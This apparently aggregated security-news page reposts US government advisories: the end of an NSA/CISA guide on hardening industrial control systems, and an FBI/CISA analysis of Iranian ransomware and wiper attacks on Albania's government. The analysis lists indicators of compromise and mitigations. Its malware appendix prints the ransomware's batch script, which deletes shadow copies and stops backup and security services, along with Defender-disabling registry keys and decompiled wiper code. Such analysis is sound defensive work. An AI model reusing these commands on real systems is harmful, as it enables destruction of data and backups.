However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs. 

Limit exposure of system information

Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system.

Document the answers to the following questions:

  1. From where and to where is data flowing?
  2. How are the communication pathways documented and how is the data secured/encrypted?
  3. How is the data used and secured when it arrives at its destination?
  4. What are the network security standards at the data destination, whether a vendor/regulator or administrator/financial institution? 
  5. Can the data be shared further once at its destination? Who has the authority to share this data?

Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it. 

Identify and secure remote access points

Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system.

Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks. 

Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture:

  • Reduce the attack surface by proactively limiting and hardening Internet-exposed assets. See CISA’s Get Your Stuff Off Search page for more information.
  • Establish a firewall and a demilitarized zone (DMZ) between the control system and the vendor’s access points and devices. Do not allow direct access into the system; use an intermediary service to share only necessary data and only when required. For more information see CISA’s infographic Layering Network Security Through Segmentation. [14]
  • Consider using virtual private networks (VPNs) at specific points to and from the system rather than allowing separate access points for individual devices or vendors.
  • Utilize jump boxes to isolate and monitor access to the system.
  • Ensure that data can only flow outward from the system – administratively and physically. Use encrypted links to exchange data outside of the system.
  • Enforce strict compliance with policies and procedures for remote access, even if personnel complain that it is too difficult.
  • If the system does not use vendor access points and devices, ensure that none are active. Use strict hardware, software, and administrative techniques to prevent them from becoming covertly active.
  • Do not allow vendor-provided system access devices and software to operate continuously in the system without full awareness of their security posture and access logs.
  • Install and keep current all vendor-provided security systems associated with the installed vendor access points.
  • Review configurations to ensure they are configured securely. Operators typically focus on necessary functionality, so properly securing the configurations and remote access may be overlooked. 
  • Consider penetration testing to validate the system’s security posture and any unknown accesses or access vulnerabilities. 
  • Add additional security features to the system as needed. Do not assume that one vendor has a monopoly on the security of their equipment; other vendors may produce security features to fill gaps. 
  • Change all default passwords throughout the system and update any products with hard-coded passwords, especially in all remote access and security components.
  • Patch known exploited vulnerabilities whenever possible. Prioritize timely patching of all remote access points. Keep operating systems, firewalls, and all security features up-to-date.
  • Continually monitor remote access logs for suspicious accesses. Securely aggregate logs for easier monitoring.

Restrict tools and scripts 

Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat.

The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include:

  1. Identify any engineering, configuration, or diagnostic tools.
  2. Securely store gold copies of these tools external to the system if possible.
  3. Remove all non-critical tools.
  4. Prevent these tools from being reinstalled.
  5. Perform routine audits to check that these tools have not been reinstalled.

Conduct regular security audits

The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following:

  1. Validate all connections (e.g., network, serial, modem, wireless, etc.).
  2. Review system software patching procedures.
  3. Confirm secure storage of gold copies (e.g., OS, firmware, patches, configurations, etc.).
  4. Verify removal from the system of all non-critical software, services, and tools.
  5. Audit the full asset inventory. 
  6. Implement CISA ICS mitigations and best practices. [15] [16]
  7. Monitor system logs and intrusion detection system (IDS) logs.

Implement a dynamic network environment

Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended. 

While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following:

  1. Deploy additional firewalls and routers from different vendors.
  2. Modify IP address pools.
  3. Replace outdated hardware (e.g., workstations, servers, printers, etc.).
  4. Upgrade operating systems.
  5. Install or upgrade commercially available security packages for vendor access points and methodologies.

Planning these changes with significant forethought can help minimize the impact on network operation.

Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible.

Conclusion

The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects. 

Disclaimer of endorsement

The information and opinions contained in this document are provided « as is » and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
 

Contact Information

For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov

Media Inquiries / Press Desk: 

References

Revisions

  • Initial Release: September 22, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: September 21, 2022

Summary

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B.

In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content.

Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware.

In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown.

In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran.

Download the PDF version of this report: pdf, 1221 kb

Technical Details

Initial access

Timeframe: Approximately 14 months before encryption and wiper attacks.

Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604.

Persistence and Lateral movement

Timeframe: Approximately several days to two months after initial compromise.

Details: After obtaining access to the victim environment, the actors used several .aspx webshells, pickers.aspx, error4.aspx, and ClientBin.aspx, to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment.

Exchange Server compromise

Timeframe: Approximately 1-6 months after initial compromise.

Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group.

Likely Email exfiltration

Timeframe: Approximately 8 months after initial compromise.

Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data.

VPN activity

Timeframe: Approximately 12-14 months after initial compromise.

Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping.

File Cryptor (ransomware-style file encryptor)

Timeframe: Approximately 14 months after initial compromise.

Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted.

Wiper attack

Timeframe: Approximately 14 months after initial compromise.

Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server.

Mitigations

  • Ensure anti-virus and anti-malware software is enabled and signature definitions are updated regularly and in a timely manner. Well-maintained anti-virus software may prevent use of commonly deployed cyber attacker tools that are delivered via spear-phishing.
  • Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spear-phishing attacks.
  • If your organization is employing certain types of software and appliances vulnerable to known Common Vulnerabilities and Exposures (CVEs), ensure those vulnerabilities are patched. Prioritize patching known exploited vulnerabilities.
  • Monitor for unusually large amounts of data (i.e. several GB) being transferred from a Microsoft Exchange server.
  • Check the host-based indications, including webshells, for positive hits within your environment.

Additionally, FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing phishing-resistant multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

For more information on Iranian government-sponsored malicious cyber activity, see CISA’s webpage – Iran Cyber Threat Overview and Advisories.

Appendix A

Host-based IOCs

Additional details concerning some of these files are provided in Appendix B.

File

MD5 Hash

Notes

Error4.aspx

81e123351eb80e605ad73268a5653ff3

Webshell

cl.exe

7b71764236f244ae971742ee1bc6b098

Wiper

GoXML.exe

bbe983dba3bf319621b447618548b740

Encryptor

Goxml.jpg

0738242a521bdfe1f3ecc173f1726aa1

 

ClientBin.aspx

a9fa6cfdba41c57d8094545e9b56db36

Webshell (reverse-proxy connections)

Pickers.aspx

8f766dea3afd410ebcd5df5994a3c571

Webshell

evaluatesiteupgrade.cs.aspx

Unknown

Webshell

mellona.exe

78562ba0069d4235f28efd01e3f32a82

Propagation for Encryptor

win.bat

1635e1acd72809479e21b0ac5497a79b

Launches GoXml.exe on startup

win.bat

18e01dee14167c1cf8a58b6a648ee049

Changes desktop background to encryption image

bb.bat

59a85e8ec23ef5b5c215cd5c8e5bc2ab

Saves SAM and SYSTEM hives to C:Temp, makes cab archive

disable_defender.exe

60afb1e62ac61424a542b8c7b4d2cf01

Disables Windows Defender

rwdsk.sys

8f6e7653807ebb57ecc549cef991d505

Raw disk driver utilized by wiper malware

App_Web_bckwssht.dll

e9b6ecbf0783fa9d6981bba76d949c94

 

 

Network-based IOCs

FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data):

Country

Company

AL

KEMINET LTD.

DE

NOOP-84-247-59-0-25

DE

GSL NETWORKS

GB

LON-CLIENTS

GB

GB-DATACENTER

NL

NL-LAYERSWITCH-20190220

NL

PANQ-45-86-200-0

US

PRIVATE CUSTOMER

US

BANDITO NETWORKS

US

EXTERNAL

US

RU-SELENA-20080725

US

TRANS OCEAN NETWORK

Appendix B

Ransomware Cryptor

GoXML.exe is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC).

If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled, Xml Form Builder.

All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string yes. If so, it will continue to decode its internal strings.

The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error.

@for /F « skip=1 » %C in (‘wmic LogicalDisk get DeviceID’) do (@wmic /namespace:\rootdefault Path SystemRestore Call disable « %C » & @rd /s /q %C$Recycle.bin)

@vssadmin.exe delete shadows /all /quiet

@set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc

@for %C in (%SrvLst%) do @net stop %C

@set SrvLst=

@set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad

@for %C in (%PrcLst%) do @taskkill /f /im « %C.exe »

@set PrcLst=

@exit

 

The syntax error consists of a missing backslash that separates system32 and cmd.exe, so the process is launched as system32cmd.exe which is an invalid command.

 

The ransomware’s file encryption routine will generate a random string, take the MD5 hash and use that to generate an RC4 128 key which is used to encrypt files. This key is encrypted with a hard coded Public RSA key and converted to Base64 utilizing a custom alphabet. This is appended to the end of the ransom note.

The cryptor places a file called How_To_Unlock_MyFiles.txt in directories with encrypted files.

Each encrypted file is given the .lck extension and the contents of each file are only encrypted up to 0x100000 or 1,048,576 bytes which is a hard coded limit.

Separately, the actor ran a batch script (win.bat below) to set a specific desktop background.

File Details

GoXml.exe

File Size:

43.48 KB (44520 bytes)

SHA256:

f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5

SHA1:

5d117d8ef075f3f8ed1d4edcc0771a2a0886a376

MD5:

bbe983dba3bf319621b447618548b740

SSDeep:

768:+OFu8Q3w6QzfR5Jni6SQD7qSFDs6P93/q0XIc/UB5EPABWX

:RFu8QAFzffJui79f13/AnB5EPAkX (Ver 1.1)

File Type:

PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows

PE Header Timestamp:

2016-04-30 17:08:19

ImpHash:

5b2ce9270beea5915ec9adbcd0dbb070

Cert #0 Subject C=KW, L=Salmiya, O=Kuwait Telecommunications Company KSC, OU=Kuwait Telecommunications Company, CN=Kuwait Telecommunications Company KSC

Cert #0 Issuer  C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 Assured ID Code Signing CA

Cert #0 SHA1    55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f

 

win.bat (#1, run malware)

File Size:

67 bytes

SHA256:

bad65769c0b416bb16a82b5be11f1d4788239f8b2ba77ae57948b53a69e230a6

SHA1:

14b8c155e01f25e749a9726958606b242c8624b9

MD5:

1635e1acd72809479e21b0ac5497a79b

SSDeep:

3:LjTFKCkRErG+fyM1KDCFUF82G:r0aH1+DF82G (Ver 1.1)

File Type:

ASCII text, with no line terminators

Contents:

start /min C:ProgramDataMicrosoftWindowsGoXml.exe 1 2 3 4 5 6 7

 

win.bat (#2, install desktop image)

Filename:

ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2

File Size:

765 bytes

SHA256:

ec4cd040fd14bff86f6f6e7ba357e5bcf150c455532800edf97782836e97f6d2

SHA1:

fce0db6e66d227d3b82d4564446ede0c0fd7598c

MD5:

18e01dee14167c1cf8a58b6a648ee049

SSDeep:

12:wbYVJ69/TsdLd6sdLd3mTDwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV+EVTCuwfV

+Et:wq69/kZxZ3mTDY9HY9HY9HY9HY9j (Ver 1.1)

File Type:

DOS batch file text, ASCII text, with CRLF line terminators

Contents:

@echo off

setlocal enabledelayedexpansion

set « Wtime=!time:~0,2! »

if « !Wtime! » leq « 20 » reg add « HKEY_CURRENT_USERControl PanelDesktop » /v Wallpaper /t REG_SZ /d « c:programdataGoXml.jpg » /f & goto done

if « !Wtime! » geq « 20 » reg add « HKEY_CURRENT_USERControl PanelDesktop » /v Wallpaper /t REG_SZ /d « c:programdataGoXml.jpg » /f & goto done

:done

timeout /t 5 >nul

start «  » /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start «  » /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start «  » /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start «  » /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

start «  » /b RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters ,1 ,True

endlocal

 

goxml.jpg

File Size:

1.2 MB (1259040 bytes)

SHA256:

63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9

SHA1:

683eaec2b3bb5436f00b2172e287dc95e2ff2266

MD5:

0738242a521bdfe1f3ecc173f1726aa1

SSDeep:

12288:ME0p1RE70zxntT/ylTyaaSMn2fS+0M6puxKfJbDKrCxMe5fPSC2tmx

VjpJT/n37p:MHyUt7yQaaPXS6pjar+MwrjpJ7VIbZg (Ver 1.1)

File Type:

JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484TIFF image data, big-endian, direntries=13, height=1752, bps=0, PhotometricIntepretation=CMYK, orientation=upper-left, width=2484], progressive, precision 8, 2484×1752, components 4

Software:

Adobe Photoshop 22.4 (Windows)

Modify Date:

2022-07-13 20:45:20

Create Date:

2020-06-11 02:13:33

Metadata Date:

2022-07-13 20:45:20

Profile Date Time:

2000-07-26 05:41:53

Image Size:

2484×1752

File Size:

1.2 MB (1259040 bytes)

SHA256:

63dd02c371e84323c4fd9a161a75e0f525423219e8a6ec1b95dd9eda182af2c9

Disk Wiper

The files cl.exe and rwdsk.sys are part of a disk wiper utility that provides raw access to the hard drive for the purposes of wiping data. From the command line the cl.exe file accepts the arguments:

  • in
  • un
  • wp <optional argument>

If executed with the in command, the utility will output in start! and installs a hard coded file named rwdsk.sys as a service named RawDisk3. The .SYS file is not extracted from the installer however, but rather the installer looks for the file in the same directory that the cl.exe is executed in. 

It will also load the driver after installation.

The un command uninstalls the service, outputting the message “un start!” to the terminal.
The wp command will access the loaded driver for raw disk access.

The long hexadecimal string is hard coded in the cl.exe binary.

      RawDisk3File = (void *)toOpenRawDisk3File(

                               arg2_WideCharStr,

                               0xC0000000,

                               L »B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D »);

      ptrRawDiskFile = RawDisk3File;

      if ( RawDisk3File )

      {

        sizeDisk = toGetDiskSize(RawDisk3File);

        terminal_out(« Total Bytez : %lldn », sizeDisk << 9);

The wp command also takes an additional argument as a device path to place after RawDisk3 in the output string. It is uncertain what creates this path to a device as the driver tested did not.

The output is “wp starts!” followed by the total bytes of the drive and the time the wipe operation takes.

If the registry key value HKLMSOFTWAREEldoSEventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ….DriverLibrariesDrvSupLibinstall.c. If the system does not have the SOFTWAREEldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility. 

rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features. »https://attack.mitre.org/software/S0364/

File Details

cl.exe

 

File Size

142.5 KB (145920 bytes)

SHA256

e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0

SHA1

f22a7ec80fbfdc4d8ed796119c76bfac01e0a908

MD5

7b71764236f244ae971742ee1bc6b098

SSDeep

3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1)

Filetype

PE32+ executable (console) x86-64, for MS Windows

PE Header Timestamp

2022-07-15 13:26:28

ImpHash

58d51c1152817ca3dec77f2eee52cbef

 

rwdsk.sys

 

File Size

38.84 KB (39776 bytes)

SHA256

3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6

SHA1

5e061701b14faf9adec9dd0b2423ff3cfc18764b

MD5

8f6e7653807ebb57ecc549cef991d505

SSDeep

768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1)

Filetype

PE32+ executable (native) x86-64, for MS Windows

PEtype

Driver

PE Header Timestamp

2016-03-18 14:44:54

ImpHash

e233f2cdc91faafe1467d9e52f166213

Cert #0 Subject

CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US

Cert #0 Issuer

CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US

Cert #0 SHA1

382c18388fb326221dfd7a77ee874f9ba60e04bf

Cert #1 Subject

C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation

Cert #1 Issuer

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA

Cert #1 SHA1

30632ea310114105969d0bda28fdce267104754f

Cert #2 Subject

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5

Cert #2 Issuer

C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root

Cert #2 SHA1

57534ccc33914c41f70e2cbb2103a1db18817d8b

Cert #3 Subject

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA

Cert #3 Issuer

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5

Cert #3 SHA1

495847a93187cfb8c71f840cb7b41497ad95c64f

 

Additional Files

Web Deployed Reverse Proxy

Description

ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation.

public static string hair_school_bracket()
        {
            return Umbrella_admit_arctic.rebel_sadreporthospital(« 460F2830272A2F2266052928202F21661627252D27212368 »);  //Invalid Config Package.
        }

public static string Visual_math_already()
        {
       return Umbrella_admit_arctic.rebel_sadreporthospital(« 5304057E0116001607 »);   //WV-RESET

The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string.

When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.
 

The hex string represents the following ASCII text:

Base64, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy. 

Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket.

The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries.
 

File Details

ClientBin.aspx

 

File Size

55.24 KB (56561 bytes)

SHA256

7ad64b64e0a4e510be42ba631868bbda8779139dc0daad9395ab048306cc83c5

SHA1

e03edd9114e7a0138d1309034cad6b461ab0035b

MD5

a9fa6cfdba41c57d8094545e9b56db36

SSDeep

768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1)

Filetype

HTML document text, ASCII text, with very long lines (56458)

 

App_Web_bckwssht.dll

 

File Size

41.0 KB (41984 bytes)

SHA256

cad2bc224108142b5aa19d787c19df236b0d12c779273d05f9b0298a63dc1fe5

SHA1

49fd8de33aa0ea0c7432d62f1ddca832fab25325

MD5

e9b6ecbf0783fa9d6981bba76d949c94

SSDeep

384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1)

Filetype

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

PEtype

DLL

PE Header Timestamp

2021-06-07 10:37:55

ImpHash

dae02f32a21e03ce65412f6e56942daa

Disable Defender

Description

disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation.

Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions.

The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe:

The following Registry Keys were modified to disable Windows Defender:

Set Registry Values (observed Win10 1709)

 

HKLMSOFTWAREMicrosoftWindows DefenderFeaturesTamperProtection 

 

 

HKLMSOFTWAREPoliciesMicrosoftWindows DefenderDisableAntiSpyware 

HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorer
StartupApprovedRunSecurityHealth 

03 00 00 00 5D 02 00 00 41 3B 47 9D 

HKLMSOFTWAREMicrosoftWindows DefenderDisableAntiSpyware 

HKLMSystemCurrentControlSetServicesWinDefendStart 

HKLMSOFTWAREMicrosoftWindows DefenderReal-Time Protection
DisableRealtimeMonitoring 

Upon completion and if successful the application will display the following messages and wait for user input.

disable-defender.exe

 

File Size

292.0 KB (299008 bytes)

SHA256

45bf0057b3121c6e444b316afafdd802d16083282d1cbfde3cdbf2a9d0915ace

SHA1

e866cc6b1507f21f688ecc2ef15a64e413743da7

MD5

60afb1e62ac61424a542b8c7b4d2cf01

SSDeep

6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1)

Filetype

PE32+ executable (console) x86-64, for MS Windows

PEtype

EXE

PE Header Timestamp

2021-10-24 15:07:32

ImpHash

74a6ef9e7b49c71341e439022f643c8e

Revisions

  • September 21, 2022: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Dans le cadre de son Patch Tuesday, en date du 13 septembre 2022, Microsoft a indiqué l’existence de multiples vulnérabilités au sein de plusieurs versions de Windows. Trois d’entre elles doivent faire l’objet d’une attention particulière car considérées comme critiques. Elles …
Source de l’article sur CERT-FR

Original release date: September 14, 2022

Summary

Actions to take today to protect against ransom operations:

• Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
• Enforce MFA.
• Make offline backups of your data.

